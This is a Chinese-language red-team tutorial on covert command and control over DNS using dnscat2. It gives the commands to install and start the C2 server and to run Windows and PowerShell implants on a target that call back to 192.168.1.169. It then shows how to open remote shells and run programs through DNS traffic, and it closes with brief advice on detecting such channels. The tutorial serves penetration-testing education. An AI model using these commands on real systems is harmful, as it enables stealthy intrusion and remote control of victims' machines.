隐匿攻击之DNS
即使在最受限制的环境中,也应该允许DNS流量解析内部或外部域。这可以用作目标主机和命令和控制服务器之间的通信通道。命令和数据包含在DNS查询和响应中,因此很难检测,因为任意命令隐藏在合法流量中。
使用Dnscat2可以实现这种技术,Dnscat2可以通过DNS协议创建命令和控制通道。此工具使用基于C的客户端(植入),它需要在目标上执行,以便服务器接收连接。流量以加密形式传输,并且还支持通过预共享秘密进行身份验证。
通过以下命令从Kali Linux 2.0计算机上轻松安装此工具。
git clone https://github.com/iagox86/dnscat2.git
cd dnscat2/server/
bundle install
可以使用以下命令启动命令和控制服务器。
ruby dnscat2.rb --dns "domain=pentestlab,host=192.168.1.169" --no-cache
可以从此处直接下载用于Windows系统的客户端(植入)的编译版本。从目标的命令提示符开始,唯一的要求是指定DNS服务器以便与C2(命令和控制)服务器建立连接。
dnscat2-v0.07-client-win32.exe --dns server=192.168.1.169
从Dnscat2开始,红队可以开始与已创建的现有会话进行交互:
session -i 1
通过执行“ help ”,可以检索可用的命令列表:
dnscat2的部分功能是上传和下载文件,执行其他程序以及获取远程shell。
使用“ shell ”命令可以轻松获取shell,这将打开另一个会话:
以下输出将出现在目标的命令提示符上:
shell将是交互式和快速的,所有命令将通过DNS流量传输:
通过调用可执行文件可以远程启动另一个程序:
exec notepad.exe
Luke Baggett开发了一种PowerShell版植入物,已在blackhillsinfosec网站上介绍和描述。这些命令是相同的,但添加了其他功能,如交互式PowerShell会话和直接从内存运行脚本的功能。
需要从目标上的PowerShell会话执行以下命令:
PS C:\> start-Dnscat2 -Domain pentestlab -DNSServer 192.168.1.169
也可以通过运行以下命令来建立直接的PowerShell会话:
exec psh
之后将创建一个能够执行PowerShell命令和脚本的新控制台:
小结
使用dnscat2对DNS进行命令和控制有各种优点。他们之中有一些是:
- 支持多个会话
- 流量加密
- 使用密钥保护MiTM攻击
- 直接从内存运行PowerShell脚本
- 隐匿性较好
由于任意命令在合法DNS流量之后传输的事实很难检测,因此应该强调监视DNS查询的长度并允许主机仅与受信任的DNS服务器通信。
参考
- https://github.com/iagox86/dnscat2
- https://github.com/lukebaggett/dnscat2-powershell
- https://www.blackhillsinfosec.com/powershell-dns-command-control-with-dnscat2-powershell/